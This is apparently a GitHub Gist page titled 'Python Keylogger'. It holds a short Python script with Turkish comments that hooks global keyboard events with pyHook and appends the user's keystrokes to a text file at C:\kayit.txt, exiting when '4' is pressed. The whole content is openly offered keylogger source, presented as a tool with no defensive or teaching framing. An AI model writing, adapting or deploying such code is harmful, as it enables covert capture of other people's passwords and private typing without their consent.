Skip to content

Instantly share code, notes, and snippets.

@mustafat0k
Last active March 9, 2019 16:06
Show Gist options
  • Save mustafat0k/bd61a6028de0d604a624a9e84141d375 to your computer and use it in GitHub Desktop.
Save mustafat0k/bd61a6028de0d604a624a9e84141d375 to your computer and use it in GitHub Desktop.
Python Keylogger
import pyHook
import pythoncom
import sys
class dinlensek:
def __init__(self):
exitKey="4"
adres="C:\kayit.txt" #acılacak txt dosyasının adresi
self.exitKey= exitKey
self.hm = pyHook.HookManager()
self.hm.KeyDown = self.yazVeKaydet #mouse ve klavye olaylarını kaydeder
self.hm.HookKeyboard() #klavye olaylarını izler
self.kayitDefteri = open(adres, 'a') # adresi verilen yerdede kayıt adlı *.txt uzantılı dosya ac
self.asciiSubset = [8,9,10,13,27] #backspace, tab, line feed, carriage return, escape
self.asciiSubset.extend(range(32,128))
pythoncom.PumpMessages()
def yazVeKaydet(self, event):
if event.Ascii in self.asciiSubset:
self.kayitDefteri.write(chr(event.Ascii))
if event.Key ==self.exitKey: #basılan tus 4 ise çık.
sys.exit()
return True
dinlensek()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment